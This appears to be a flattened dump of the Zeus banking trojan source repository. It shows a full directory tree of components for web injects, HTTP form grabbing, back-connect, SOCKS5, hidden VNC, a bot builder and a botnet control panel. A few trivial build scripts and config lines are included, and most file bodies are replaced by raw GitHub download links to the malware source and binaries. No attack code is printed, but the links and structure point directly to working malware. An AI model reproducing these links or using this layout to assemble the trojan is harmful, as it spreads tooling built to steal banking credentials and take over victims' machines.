├── output ├── config ├── server[php] │ ├── index.php │ ├── system │ │ ├── index.php │ │ ├── .htaccess │ │ ├── stats_os.lng.en.php │ │ ├── stats_os.lng.ru.php │ │ ├── sys_info.lng.ru.php │ │ ├── sys_info.lng.en.php │ │ ├── sys_options.lng.en.php │ │ ├── reports_jn.lng.en.php │ │ ├── sys_user.lng.en.php │ │ ├── sys_user.lng.ru.php │ │ ├── sys_options.lng.ru.php │ │ ├── reports_jn.lng.ru.php │ │ ├── stats_main.lng.en.php │ │ ├── stats_main.lng.ru.php │ │ ├── fsarc.php │ │ ├── sys_users.lng.en.php │ │ ├── sys_users.lng.ru.php │ │ ├── reports_files.lng.en.php │ │ ├── reports_files.lng.ru.php │ │ ├── botnet_bots.lng.en.php │ │ ├── botnet_bots.lng.ru.php │ │ ├── stats_os.php │ │ ├── botnet_scripts.lng.en.php │ │ └── botnet_scripts.lng.ru.php │ └── theme │ │ ├── footer.html │ │ ├── failed.png │ │ ├── throbber.gif │ │ ├── small.html │ │ ├── header.html │ │ └── popupmenu.js ├── client32.bin ├── builder │ ├── zsb.exe │ ├── bot.exe.txt │ ├── config.bin │ ├── webinjects.txt │ └── config.txt ├── other │ ├── redir.php │ └── sockslist.php └── server │ └── zsbcs.exe ├── source ├── server[php] │ ├── index.php │ ├── system │ │ ├── index.php │ │ ├── .htaccess │ │ ├── stats_os.lng.en.php │ │ ├── stats_os.lng.ru.php │ │ ├── sys_info.lng.ru.php │ │ ├── sys_info.lng.en.php │ │ ├── sys_options.lng.en.php │ │ ├── reports_jn.lng.en.php │ │ ├── sys_user.lng.en.php │ │ ├── sys_user.lng.ru.php │ │ ├── sys_options.lng.ru.php │ │ ├── reports_jn.lng.ru.php │ │ ├── stats_main.lng.en.php │ │ ├── stats_main.lng.ru.php │ │ ├── fsarc.php │ │ ├── sys_users.lng.en.php │ │ ├── sys_users.lng.ru.php │ │ ├── reports_files.lng.en.php │ │ ├── reports_files.lng.ru.php │ │ ├── botnet_bots.lng.en.php │ │ ├── botnet_bots.lng.ru.php │ │ ├── stats_os.php │ │ ├── botnet_scripts.lng.en.php │ │ └── botnet_scripts.lng.ru.php │ ├── theme │ │ ├── footer.html │ │ ├── failed.png │ │ ├── throbber.gif │ │ ├── small.html │ │ ├── header.html │ │ └── popupmenu.js │ └── server.vcxproj.user ├── common │ ├── cui.h │ ├── fs.h │ ├── gdi.h │ ├── gui.h │ ├── mem.h │ ├── str.h │ ├── ucl.h │ ├── crypt.h │ ├── debug.h │ ├── fs.cpp │ ├── math.h │ ├── mscab.h │ ├── ntdll.h │ ├── str.cpp │ ├── sync.h │ ├── time.h │ ├── config0.h │ ├── config1.h │ ├── console.h │ ├── crypt.cpp │ ├── disasm.h │ ├── peimage.h │ ├── process.h │ ├── registry.h │ ├── wahook.cpp │ ├── wahook.h │ ├── wininet.h │ ├── wsocket.h │ ├── binstorage.h │ ├── comlibrary.h │ ├── httpinject.h │ ├── httptools.h │ ├── peimage.cpp │ ├── registry.cpp │ ├── sslsocket.h │ ├── xmlparser.h │ ├── backconnect.h │ ├── baseoverlay.h │ ├── binstorage.cpp │ ├── malwaretools.h │ ├── threadsgroup.h │ ├── winsecurity.h │ ├── common.vcxproj.user │ ├── disasm.cpp │ ├── comlibrary.cpp │ ├── httpinject.cpp │ ├── time.cpp │ ├── console.cpp │ ├── botstatus.h │ ├── cui[en].h │ ├── backconnect.cpp │ ├── sync.cpp │ ├── threadsgroup.cpp │ ├── generateddata.h │ ├── config.h │ ├── defines.h │ └── winsecurity.cpp ├── builder │ ├── main.h │ ├── info.cpp │ ├── main.cpp │ ├── tools.h │ ├── buildbot.h │ ├── builder.cpp │ ├── languages.h │ ├── buildbot.cpp │ ├── buildconfig.h │ ├── languages.cpp │ ├── resources │ │ ├── main.ico │ │ ├── resources.aps │ │ ├── main[original].ico │ │ ├── cuimanifest.xml │ │ ├── guimanifest.xml │ │ └── resources.h │ ├── builder.vcxproj.user │ ├── defines.h │ ├── common.cpp │ └── tools.cpp ├── client │ ├── core.h │ ├── osenv.h │ ├── core.cpp │ ├── corehook.h │ ├── report.cpp │ ├── report.h │ ├── userhook.h │ ├── vnc │ │ ├── rfb.h │ │ ├── rfb.cpp │ │ ├── defines.h │ │ ├── vncserver.h │ │ ├── vncmouse.cpp │ │ ├── vncpaint.cpp │ │ ├── vncserver.cpp │ │ └── vnckeyboard.cpp │ ├── corehook.cpp │ ├── coreinject.h │ ├── filesearch.h │ ├── nspr4hook.h │ ├── screenshot.h │ ├── sockethook.h │ ├── tcpserver.h │ ├── certstorehook.h │ ├── corecontrol.h │ ├── coreinject.cpp │ ├── coreinstall.cpp │ ├── coreinstall.h │ ├── dynamicconfig.h │ ├── httpgrabber.cpp │ ├── httpgrabber.h │ ├── localconfig.h │ ├── localsettings.h │ ├── nspr4hook.cpp │ ├── remotescript.h │ ├── socks5server.h │ ├── tcpserver.cpp │ ├── winapitables.h │ ├── windowstation.h │ ├── wininethook.cpp │ ├── wininethook.h │ ├── backconnectbot.h │ ├── certstorehook.cpp │ ├── cryptedstrings.h │ ├── dynamicconfig.cpp │ ├── remotescript.cpp │ ├── socks5server.cpp │ ├── softwaregrabber.h │ ├── winapitables.cpp │ ├── backconnectbot.cpp │ ├── cryptedstrings.txt │ ├── softwaregrabber.cpp │ ├── client.vcxproj.user │ ├── defines.h │ ├── common.cpp │ ├── localsettings.cpp │ └── localconfig.cpp ├── other │ ├── zip.exe │ ├── webinjects.txt │ ├── sockslist.php │ └── redir.php ├── bcserver │ ├── core.h │ ├── language.h │ ├── listen.cpp │ ├── bcserver.vcxproj.user │ ├── defines.h │ ├── common.cpp │ ├── core.cpp │ └── bcserver.vcxproj └── buildtools │ ├── core.h │ ├── buildtools.vcxproj.user │ ├── common.cpp │ ├── defines.h │ ├── ror13.cpp │ ├── language.h │ ├── core.cpp │ └── buildtools.vcxproj ├── config.ini ├── VNC.txt ├── zeus.suo ├── bin ├── 7z.exe ├── bt.exe ├── upx.exe ├── FASM.EXE └── PHP │ ├── php.exe │ ├── php5ts.dll │ └── ext │ ├── php_gmp.dll │ ├── php_mbstring.dll │ └── php_sockets.dll ├── make ├── make.php ├── tools.inc.php ├── baseconfig.inc.php ├── buildconfig.inc.php ├── installdata.inc.php ├── configsample.inc.php ├── make.vcxproj.user └── make.vcxproj ├── manual_en.html ├── manual_ru.html ├── lib ├── x32 │ ├── lde32.lib │ └── ntdll.lib └── x64 │ ├── lde64.lib │ └── ntdll.lib ├── make.cmd ├── temp ├── builder │ └── win32 │ │ ├── 0.res │ │ ├── common.obj │ │ ├── info.obj │ │ ├── main.obj │ │ ├── tools.obj │ │ ├── buildbot.obj │ │ ├── builder.obj │ │ ├── settings.obj │ │ ├── buildconfig.obj │ │ └── languages.obj ├── client │ └── win32 │ │ ├── core.obj │ │ ├── rfb.obj │ │ ├── client.map │ │ ├── common.obj │ │ ├── osenv.obj │ │ ├── report.obj │ │ ├── corehook.obj │ │ ├── nspr4hook.obj │ │ ├── tcpserver.obj │ │ ├── userhook.obj │ │ ├── vncmouse.obj │ │ ├── vncpaint.obj │ │ ├── vncserver.obj │ │ ├── corecontrol.obj │ │ ├── coreinject.obj │ │ ├── coreinstall.obj │ │ ├── filesearch.obj │ │ ├── httpgrabber.obj │ │ ├── localconfig.obj │ │ ├── remotescript.obj │ │ ├── screenshot.obj │ │ ├── sockethook.obj │ │ ├── socks5server.obj │ │ ├── vnckeyboard.obj │ │ ├── winapitables.obj │ │ ├── wininethook.obj │ │ ├── backconnectbot.obj │ │ ├── certstorehook.obj │ │ ├── cryptedstrings.obj │ │ ├── dynamicconfig.obj │ │ ├── localsettings.obj │ │ ├── windowstation.obj │ │ └── softwaregrabber.obj ├── bcserver │ └── win32 │ │ ├── core.obj │ │ ├── common.obj │ │ └── listen.obj └── server │ └── php │ ├── stats_os.lng.en.php │ ├── stats_os.lng.ru.php │ ├── sys_info.lng.ru.php │ ├── sys_info.lng.en.php │ ├── sys_options.lng.en.php │ ├── reports_jn.lng.en.php │ ├── sys_user.lng.en.php │ ├── sys_user.lng.ru.php │ ├── sys_options.lng.ru.php │ ├── reports_jn.lng.ru.php │ ├── stats_main.lng.en.php │ ├── stats_main.lng.ru.php │ ├── fsarc.php │ ├── sys_users.lng.en.php │ ├── sys_users.lng.ru.php │ ├── reports_files.lng.en.php │ ├── reports_files.lng.ru.php │ ├── botnet_bots.lng.en.php │ ├── botnet_bots.lng.ru.php │ ├── stats_os.php │ ├── botnet_scripts.lng.en.php │ ├── botnet_scripts.lng.ru.php │ └── reports_db.lng.en.php ├── make_debug.cmd ├── make_default.cmd ├── geobase └── convert_maxmind_country.php ├── make_full.cmd └── configs ├── buildtools └── config ├── debug └── config ├── full └── config └── default └── config /output/config: -------------------------------------------------------------------------------- 1 | full -------------------------------------------------------------------------------- /output/server[php]/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/server[php]/system/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/system/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /config.ini: -------------------------------------------------------------------------------- 1 | [versions] 2 | client=2.0.8.9 3 | pk=kk -------------------------------------------------------------------------------- /output/server[php]/system/.htaccess: -------------------------------------------------------------------------------- 1 | deny from all 2 | -------------------------------------------------------------------------------- /source/server[php]/system/.htaccess: -------------------------------------------------------------------------------- 1 | deny from all 2 | -------------------------------------------------------------------------------- /output/server[php]/theme/footer.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /source/server[php]/theme/footer.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /VNC.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/VNC.txt -------------------------------------------------------------------------------- /zeus.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/zeus.suo -------------------------------------------------------------------------------- /bin/7z.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/7z.exe -------------------------------------------------------------------------------- /bin/bt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/bt.exe -------------------------------------------------------------------------------- /bin/upx.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/upx.exe -------------------------------------------------------------------------------- /bin/FASM.EXE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/FASM.EXE -------------------------------------------------------------------------------- /make/make.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/make.php -------------------------------------------------------------------------------- /manual_en.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/manual_en.html -------------------------------------------------------------------------------- /manual_ru.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/manual_ru.html -------------------------------------------------------------------------------- /bin/PHP/php.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/PHP/php.exe -------------------------------------------------------------------------------- /bin/PHP/php5ts.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/PHP/php5ts.dll -------------------------------------------------------------------------------- /lib/x32/lde32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/lib/x32/lde32.lib -------------------------------------------------------------------------------- /lib/x32/ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/lib/x32/ntdll.lib -------------------------------------------------------------------------------- /lib/x64/lde64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/lib/x64/lde64.lib -------------------------------------------------------------------------------- /lib/x64/ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/lib/x64/ntdll.lib -------------------------------------------------------------------------------- /make/tools.inc.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/tools.inc.php -------------------------------------------------------------------------------- /output/client32.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/client32.bin -------------------------------------------------------------------------------- /source/common/cui.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/cui.h -------------------------------------------------------------------------------- /source/common/fs.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/fs.h -------------------------------------------------------------------------------- /source/common/gdi.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/gdi.h -------------------------------------------------------------------------------- /source/common/gui.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/gui.h -------------------------------------------------------------------------------- /source/common/mem.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/mem.h -------------------------------------------------------------------------------- /source/common/str.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/str.h -------------------------------------------------------------------------------- /source/common/ucl.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/ucl.h -------------------------------------------------------------------------------- /make.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd make 3 | "..\bin\php\php.exe" -q make.php -b "%1" "%1" 4 | cd .. 5 | -------------------------------------------------------------------------------- /source/builder/main.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/main.h -------------------------------------------------------------------------------- /source/client/core.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/core.h -------------------------------------------------------------------------------- /source/client/osenv.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/osenv.h -------------------------------------------------------------------------------- /source/common/crypt.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/crypt.h -------------------------------------------------------------------------------- /source/common/debug.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/debug.h -------------------------------------------------------------------------------- /source/common/fs.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/fs.cpp -------------------------------------------------------------------------------- /source/common/math.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/math.h -------------------------------------------------------------------------------- /source/common/mscab.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/mscab.h -------------------------------------------------------------------------------- /source/common/ntdll.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/ntdll.h -------------------------------------------------------------------------------- /source/common/str.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/str.cpp -------------------------------------------------------------------------------- /source/common/sync.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/sync.h -------------------------------------------------------------------------------- /source/common/time.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/time.h -------------------------------------------------------------------------------- /source/other/zip.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/other/zip.exe -------------------------------------------------------------------------------- /bin/PHP/ext/php_gmp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/PHP/ext/php_gmp.dll -------------------------------------------------------------------------------- /make/baseconfig.inc.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/baseconfig.inc.php -------------------------------------------------------------------------------- /make/buildconfig.inc.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/buildconfig.inc.php -------------------------------------------------------------------------------- /make/installdata.inc.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/installdata.inc.php -------------------------------------------------------------------------------- /output/builder/zsb.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/builder/zsb.exe -------------------------------------------------------------------------------- /output/other/redir.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/other/redir.php -------------------------------------------------------------------------------- /output/server/zsbcs.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/server/zsbcs.exe -------------------------------------------------------------------------------- /source/bcserver/core.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/bcserver/core.h -------------------------------------------------------------------------------- /source/builder/info.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/info.cpp -------------------------------------------------------------------------------- /source/builder/main.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/main.cpp -------------------------------------------------------------------------------- /source/builder/tools.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/tools.h -------------------------------------------------------------------------------- /source/buildtools/core.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/buildtools/core.h -------------------------------------------------------------------------------- /source/client/core.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/core.cpp -------------------------------------------------------------------------------- /source/client/corehook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/corehook.h -------------------------------------------------------------------------------- /source/client/report.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/report.cpp -------------------------------------------------------------------------------- /source/client/report.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/report.h -------------------------------------------------------------------------------- /source/client/userhook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/userhook.h -------------------------------------------------------------------------------- /source/client/vnc/rfb.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/rfb.h -------------------------------------------------------------------------------- /source/common/config0.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/config0.h -------------------------------------------------------------------------------- /source/common/config1.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/config1.h -------------------------------------------------------------------------------- /source/common/console.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/console.h -------------------------------------------------------------------------------- /source/common/crypt.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/crypt.cpp -------------------------------------------------------------------------------- /source/common/disasm.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/disasm.h -------------------------------------------------------------------------------- /source/common/peimage.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/peimage.h -------------------------------------------------------------------------------- /source/common/process.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/process.h -------------------------------------------------------------------------------- /source/common/registry.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/registry.h -------------------------------------------------------------------------------- /source/common/wahook.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/wahook.cpp -------------------------------------------------------------------------------- /source/common/wahook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/wahook.h -------------------------------------------------------------------------------- /source/common/wininet.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/wininet.h -------------------------------------------------------------------------------- /source/common/wsocket.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/wsocket.h -------------------------------------------------------------------------------- /temp/builder/win32/0.res: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/builder/win32/0.res -------------------------------------------------------------------------------- /make/configsample.inc.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/make/configsample.inc.php -------------------------------------------------------------------------------- /output/builder/bot.exe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/builder/bot.exe.txt -------------------------------------------------------------------------------- /output/builder/config.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/builder/config.bin -------------------------------------------------------------------------------- /output/other/sockslist.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/other/sockslist.php -------------------------------------------------------------------------------- /source/bcserver/language.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/bcserver/language.h -------------------------------------------------------------------------------- /source/bcserver/listen.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/bcserver/listen.cpp -------------------------------------------------------------------------------- /source/builder/buildbot.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/buildbot.h -------------------------------------------------------------------------------- /source/builder/builder.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/builder.cpp -------------------------------------------------------------------------------- /source/builder/languages.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/languages.h -------------------------------------------------------------------------------- /source/client/corehook.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/corehook.cpp -------------------------------------------------------------------------------- /source/client/coreinject.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/coreinject.h -------------------------------------------------------------------------------- /source/client/filesearch.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/filesearch.h -------------------------------------------------------------------------------- /source/client/nspr4hook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/nspr4hook.h -------------------------------------------------------------------------------- /source/client/screenshot.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/screenshot.h -------------------------------------------------------------------------------- /source/client/sockethook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/sockethook.h -------------------------------------------------------------------------------- /source/client/tcpserver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/tcpserver.h -------------------------------------------------------------------------------- /source/client/vnc/rfb.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/rfb.cpp -------------------------------------------------------------------------------- /source/common/binstorage.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/binstorage.h -------------------------------------------------------------------------------- /source/common/comlibrary.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/comlibrary.h -------------------------------------------------------------------------------- /source/common/httpinject.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/httpinject.h -------------------------------------------------------------------------------- /source/common/httptools.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/httptools.h -------------------------------------------------------------------------------- /source/common/peimage.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/peimage.cpp -------------------------------------------------------------------------------- /source/common/registry.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/registry.cpp -------------------------------------------------------------------------------- /source/common/sslsocket.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/sslsocket.h -------------------------------------------------------------------------------- /source/common/xmlparser.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/common/xmlparser.h -------------------------------------------------------------------------------- /temp/client/win32/core.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/core.obj -------------------------------------------------------------------------------- /temp/client/win32/rfb.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/temp/client/win32/rfb.obj -------------------------------------------------------------------------------- /bin/PHP/ext/php_mbstring.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/PHP/ext/php_mbstring.dll -------------------------------------------------------------------------------- /bin/PHP/ext/php_sockets.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/bin/PHP/ext/php_sockets.dll -------------------------------------------------------------------------------- /make_debug.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | cd make 4 | "..\bin\php\php.exe" -q make.php -b debug debug 5 | cd .. 6 | -------------------------------------------------------------------------------- /output/builder/webinjects.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/output/builder/webinjects.txt -------------------------------------------------------------------------------- /source/builder/buildbot.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/buildbot.cpp -------------------------------------------------------------------------------- /source/builder/buildconfig.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/buildconfig.h -------------------------------------------------------------------------------- /source/builder/languages.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/builder/languages.cpp -------------------------------------------------------------------------------- /source/client/certstorehook.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/certstorehook.h -------------------------------------------------------------------------------- /source/client/corecontrol.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/corecontrol.h -------------------------------------------------------------------------------- /source/client/coreinject.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/coreinject.cpp -------------------------------------------------------------------------------- /source/client/coreinstall.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/coreinstall.cpp -------------------------------------------------------------------------------- /source/client/coreinstall.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/coreinstall.h -------------------------------------------------------------------------------- /source/client/dynamicconfig.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/dynamicconfig.h -------------------------------------------------------------------------------- /source/client/httpgrabber.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/httpgrabber.cpp -------------------------------------------------------------------------------- /source/client/httpgrabber.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/httpgrabber.h -------------------------------------------------------------------------------- /source/client/localconfig.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/localconfig.h -------------------------------------------------------------------------------- /source/client/localsettings.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/localsettings.h -------------------------------------------------------------------------------- /source/client/nspr4hook.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/nspr4hook.cpp -------------------------------------------------------------------------------- /source/client/remotescript.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/remotescript.h -------------------------------------------------------------------------------- /source/client/socks5server.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/socks5server.h -------------------------------------------------------------------------------- /source/client/tcpserver.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/tcpserver.cpp -------------------------------------------------------------------------------- /source/client/vnc/defines.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/defines.h -------------------------------------------------------------------------------- /source/client/vnc/vncserver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeustrojancode/Zeus/HEAD/source/client/vnc/vncserver.h 